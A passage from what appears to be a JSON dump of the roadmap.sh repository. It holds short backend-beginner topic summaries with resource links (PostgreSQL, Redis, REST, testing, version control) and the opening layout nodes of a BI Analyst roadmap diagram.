    "content": "# PostgreSQL\n\nPostgreSQL is an advanced, open-source RDBMS known for robustness, extensibility, and standards compliance. Supports complex queries, custom data types, full-text search, and ACID properties. Highly extensible with strong concurrency support, suitable for web apps to data warehousing.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated PostgreSQL DBA Roadmap](https://roadmap.sh/postgresql-dba)\n- [@official@Official Website](https://www.postgresql.org/)\n- [@article@Learn PostgreSQL - Full Tutorial for Beginners](https://www.postgresqltutorial.com/)\n- [@video@PostgreSQL in 100 Seconds](https://www.youtube.com/watch?v=n2Fluyr3lbc)\n- [@video@Postgres tutorial for Beginners](https://www.youtube.com/watch?v=SpfIwlAYaKk)\n- [@feed@Explore top posts about PostgreSQL](https://app.daily.dev/tags/postgresql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/python@J_sVHsD72Yzyqb9KCIvAY.md",
    "content": "# Python\n\nPython is a popular programming language that is easy to learn and read. It is used for building web applications, analyzing data, automating tasks, and creating intelligent systems. Python has a large community and many libraries that make it powerful and flexible for various types of projects.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Python Roadmap](https://roadmap.sh/python)\n- [@official@Python](https://www.python.org/)\n- [@article@Real Python](https://realpython.com/)\n- [@article@Automate the Boring Stuff with Python](https://automatetheboringstuff.com/)\n- [@feed@Explore top posts about Python](https://app.daily.dev/tags/python?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/redis@g8GjkJAhvnSxXTZks0V1g.md",
    "content": "# Redis\n\nRedis is an open-source, in-memory data structure store supporting strings, lists, sets, hashes, and sorted sets. Used for caching, session management, real-time analytics, and message brokering. Offers persistence, replication, clustering, and low-latency high-throughput performance.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Redis Roadmap](https://roadmap.sh/redis)\n- [@course@Redis Crash Course](https://www.youtube.com/watch?v=XCsS_NVAa1g)\n- [@official@Redis](https://redis.io/)\n- [@official@Redis Documentation](https://redis.io/docs/latest/)\n- [@video@Redis in 100 Seconds](https://www.youtube.com/watch?v=G1rOthIU-uo)\n- [@feed@Explore top posts about Redis](https://app.daily.dev/tags/redis?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/relational-databases@r45b461NxLN6wBODJ5CNP.md",
    "content": "# Relational Databases\n\nRelational databases organize data into structured tables with rows and columns, using SQL for querying. Enforce data integrity through keys and constraints, handle complex queries and transactions efficiently. Examples: MySQL, PostgreSQL, Oracle. Used for structured data storage and strong consistency.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated SQL Roadmap](https://roadmap.sh/sql)\n- [@course@Visit the Dedicated SQL Master Course](https://roadmap.sh/courses/sql)\n- [@course@Databases and SQL](https://www.edx.org/course/databases-5-sql)\n- [@article@Relational Databases](https://www.ibm.com/cloud/learn/relational-databases)\n- [@article@Intro To Relational Databases](https://www.udacity.com/course/intro-to-relational-databases--ud197)\n- [@video@What is Relational Database](https://youtu.be/OqjJjpjDRLc)\n- [@feed@Explore top posts about Backend Development](https://app.daily.dev/tags/backend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/repo-hosting-services@NvUcSDWBhzJZ31nzT4UlE.md",
    "content": "# Repo Hosting Services\n\nRepo hosting services provide storage, management, and collaboration tools for version-controlled code repositories. Support Git, Mercurial, Subversion with features like branching, pull requests, issue tracking, code review, and CI/CD integration. Popular services: GitHub, GitLab, Bitbucket.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub](https://github.com)\n- [@official@GitLab](https://about.gitlab.com/)\n- [@official@BitBucket](https://bitbucket.org/product/guides/getting-started/overview)"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/rest@lfNFDZZNdrB0lbEaMtU71.md",
    "content": "# REST\n\nREST API is an architectural style using standard HTTP methods (GET, POST, PUT, DELETE) to interact with URI-represented resources. It's stateless, requiring complete request information, uses HTTP status codes, and typically communicates via JSON/XML. Popular for simplicity and scalability.\n\nVisit the following resources to learn more:\n\n- [@article@What is a REST API?](https://www.redhat.com/en/topics/api/what-is-a-rest-api)\n- [@article@Best practices for RESTful web API design](https://learn.microsoft.com/en-us/azure/architecture/best-practices/api-design)\n- [@article@Roy Fieldings dissertation chapter, Representational State Transfer (REST)](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm)\n- [@article@Learn REST: A RESTful Tutorial](https://restapitutorial.com/)\n- [@video@What is a REST API?](https://www.youtube.com/watch?v=-mN3VyJuCjM)\n- [@feed@Explore top posts about REST API](https://app.daily.dev/tags/rest-api?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/testing@STQQbPa7PE3gbjMdL6P-t.md",
    "content": "# Testing\n\nTesting systematically evaluates software functionality, performance, and quality against requirements. Includes unit, integration, system, and acceptance testing levels. Can be manual or automated to identify defects, validate features, and ensure reliable performance before deployment.\n\nVisit the following resources to learn more:\n\n- [@article@What is Software Testing?](https://www.guru99.com/software-testing-introduction-importance.html)\n- [@article@Testing Pyramid](https://www.browserstack.com/guide/testing-pyramid-for-test-automation)"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/transactions@rq_y_OBMD9AH_4aoecvAi.md",
    "content": "# Transactions\n\nDatabase transactions are a series of operations executed as atomic units to ensure data integrity. Follow ACID properties: Atomicity (all-or-nothing), Consistency (valid state), Isolation (no interference), Durability (permanent changes). Ensure reliable concurrent operations and data consistency.\n\nVisit the following resources to learn more:\n\n- [@article@What are Transactions?](https://fauna.com/blog/database-transaction)\n- [@video@What is a Database transaction?](https://www.youtube.com/watch?v=wHUOeXbZCYA)\n- [@video@ACID Properties in Databases With Examples](https://www.youtube.com/watch?v=GAe5oB742dw)"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/unit-testing@3OYm6b9f6WOrKi4KTOZYK.md",
    "content": "# Unit Testing\n\nUnit testing tests individual components or units in isolation to ensure correct functionality. Focuses on the smallest testable parts like functions with predefined inputs and expected outcomes. Automated tests written by developers during coding to catch bugs early and improve reliability.\n\nVisit the following resources to learn more:\n\n- [@article@Unit Testing](https://en.wikipedia.org/wiki/Unit_testing)\n- [@article@What is Unit Testing?](https://www.guru99.com/unit-testing-guide.html)\n- [@video@What is Unit Testing?](https://youtu.be/x95ez7_V7rA?si=JhCVhcEN7zZOkxdp)"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/version-control-systems@ezdqQW9wTUw93F6kjOzku.md",
    "content": "# Version Control Systems\n\nVersion control systems (VCS) are tools that track changes to code and files over time, enabling multiple users to collaborate on projects, maintain history, and manage different versions of codebases. They help in tracking modifications, merging changes, and resolving conflicts. There are two main types of VCS: centralized and distributed. Centralized systems (like Subversion and CVS) rely on a single central repository, while distributed systems (like Git and Mercurial) allow each user to have a complete copy of the repository, including its history. Distributed VCSs, such as Git, are particularly popular for their flexibility, branching capabilities, and robust support for collaborative workflows.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@Git](https://git-scm.com/)\n- [@official@Mercurial](https://www.mercurial-scm.org/)\n- [@official@Subversion](https://subversion.apache.org/)\n- [@article@What is Version Control?](https://www.atlassian.com/git/tutorials/what-is-version-control)\n- [@video@Version Control System (VCS)](https://www.youtube.com/watch?v=SVkuliabq4g)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/bi-analyst.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"bE67FH6IVaXzKzWhT53ok\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": -94.29994152664165, \"y\": 2128.849648200129 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 20,\n      \"style\": {},\n      \"measured\": { \"width\": 177, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"XKOvCLcIXdCm9DeHczipK\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": -118.29994152664165, \"y\": 2076.016646445702 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"bE67FH6IVaXzKzWhT53ok\"\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 20,\n      \"style\": {},\n      \"measured\": { \"width\": 201, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"5md9FtR1mEkFlVG7GLtWp\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -519.2993530484123, \"y\": 4403.178004348748 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"o5duKEVDAc7bUYOoxbynP\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 76 },\n      \"width\": 20,\n      \"height\": 76,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"QfguOnkDT7dz7olRH4gL0\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -655.6060857856221, \"y\": 4400.149902873748 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"bfI7eiYQdg5wXOGoVbjC7\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 79 },\n      \"width\": 20,\n      \"height\": 79,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"h2IqqjFToUNWtPobBhRzf\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 228.44552359889371, \"y\": 4496.231718694739 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"w86azl5hmlLiUJiSrviVc\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 68 },\n      \"width\": 20,\n      \"height\": 68,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"W3wysOYi1vJhZDQI8DCLQ\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 104.9455235988937, \"y\": 4496.231718694739 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"EG3cnFpixJ4MX2T8PyBWr\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 68 },\n      \"width\": 20,\n      \"height\": 68,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"pRgBsKJmnuzoFflelDQrH\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 240.27427722335835, \"y\": 2886.737450051655 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"O3ZFqicdXUt6RwWCBeF-s\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 50 },\n      \"width\": 20,\n      \"height\": 50,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"u16U-TX821UXiCExiWdeU\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 115.10573273074527, \"y\": 2866.2576127889706 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"BtgN3UV9F0LNmoqP48IEt\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 68 },\n      \"width\": 20,\n      \"height\": 68,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"JfW19pPN95dLRThulQuPM\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 232.98909974598712, \"y\": 2665.5794774186265 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"o5duKEVDAc7bUYOoxbynP\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 50 },\n      \"width\": 20,\n      \"height\": 50,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"KoafQQ4Rjg3lI5kAJ3yLN\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 114.12583972335835, \"y\": 2645.0996401559423 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"bfI7eiYQdg5wXOGoVbjC7\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 68 },\n      \"width\": 20,\n      \"height\": 68,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"2nUfVL5FKn6yaDoWKaYf8\",\n      \"type\": \"section\",\n      \"position\": { \"x\": 79.83080432171307, \"y\": 2014.2028943725313 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 243,\n      \"height\": 179,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 243, \"height\": 179 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"BIixnmu1PdwGEPFle5l40\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -542.6124415266416, \"y\": 1854.6129030570567 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"1Z5_nvhlPMDHHY4agS0D-\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 49 },\n      \"width\": 20,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Q9rLNKUnYH1rgwx7kLKeT\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -664.2258956804302, \"y\": 1854.6129030570567 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"a929hVo5yjAMvFCUyOxFv\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 49 },\n      \"width\": 20,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"32120Nk0SvLrctFiYk8eI\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -292.87416027664165, \"y\": 1454.2191181786757 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"Fs3npgg3zE-_PYFmSdEnY\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 53 },\n      \"dragging\": false,\n      \"width\": 20,\n      \"height\": 53,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Fs3npgg3zE-_PYFmSdEnY\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -138.29994152664165, \"y\": 1465.3360847176723 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 53 },\n      \"dragging\": false,\n      \"width\": 20,\n      \"height\": 53,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"TdGrT1oO36F4LogUE0Na9\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 92.04778524817937, \"y\": 979.6969869622326 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"ijgG8Iwix-jnQznnIDJ9r\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 77 },\n      \"width\": 20,\n      \"height\": 77,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"tDIMw-ewxlLcNC8_H4w14\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 234.33384908709434, \"y\": 974.1328061111512 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"TdGrT1oO36F4LogUE0Na9\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 49 },\n      \"width\": 20,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Qh5sLVSfs2-wUfMVBYZQG\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 99.12583972335835, \"y\": 714.8242632637848 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"TdGrT1oO36F4LogUE0Na9\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 77 },\n      \"width\": 20,\n      \"height\": 77,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"T1C7y3cbHhNiEAaAHsxYt\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -134.98744152664165, \"y\": 809.8242632637848 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"TdGrT1oO36F4LogUE0Na9\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 49 },\n      \"width\": 20,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Z38LQ3ZV_Fn5MdmWQDSiz\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -226.79994152664165, \"y\": 809.8242632637848 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"3a1zaCDA1LrHfmMk-I-UN\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 49 },\n      \"width\": 20,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"ijgG8Iwix-jnQznnIDJ9r\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -317.98744152664165, \"y\": 809.8242632637848 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 49 },\n      \"width\": 20,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"AiTKcRtgVVzo2jkZA8g0N\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -142.73353527664165, \"y\": 276.9830450095847 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 50 },\n      \"width\": 20,\n      \"height\": 50,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Ouf8G8CMMGiuaW11iQdvO\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -282.13978527664165, \"y\": 276.9830450095847 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"AiTKcRtgVVzo2jkZA8g0N\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 49 },\n      \"width\": 20,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"kTMXaNS4W8X2g1qtMUEOO\",\n      \"type\": \"title\",\n      \"position\": { \"x\": -359.57337902664165, \"y\": -36.511740821815806 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"BI Analyst\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"style\": { \"width\": 301.0390625 },\n      \"measured\": { \"width\": 301, \"height\": 68 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true\n    },\n    {\n      \"id\": \"jVXwlHRGgVpcoWCYzSB5W\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -707.0702259338166, \"y\": 8.393666231590856 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"What is BI?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 246.8984375,\n      \"style\": { \"width\": 131.2109375 },\n      \"measured\": { \"width\": 247, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"iRgtog5A13CTNDxnbGN9x\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -706.9444727766416, \"y\": 167.39366623159086 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Skills\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 80,\n      \"style\": { \"width\": 164.0546875 },\n      \"measured\": { \"width\": 80, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"NX-YaB_FVjoHYsR6z9QIL\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -707.0702259338166, \"y\": 61.393666231590856 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Why BI Matters?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 246.8984375,\n      \"style\": { \"width\": 161.1328125 },\n      \"measured\": { \"width\": 247, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"Q-GmBJiRdBS_xLeOjef2R\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -622.1749415266416, \"y\": 167.39366623159086 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Responsibilities\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 160,\n      \"style\": { \"width\": 246.8984375 },\n      \"measured\": { \"width\": 160, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"JFNCITtE1YtcYmLfGfF5T\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -707.0702259338166, \"y\": 114.39366623159086 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"BI Analyst vs Other Roles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 246.8984375,\n      \"style\": { \"width\": 239.265625 },\n      \"measured\": { \"width\": 247, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"PxOEfMSQYA2jy3zrMZXjZ\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -342.57337902664165, \"y\": 89.33076065014572 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Introduction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 267,\n      \"style\": { \"width\": 137.2265625 },\n      \"measured\": { \"width\": 267, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": 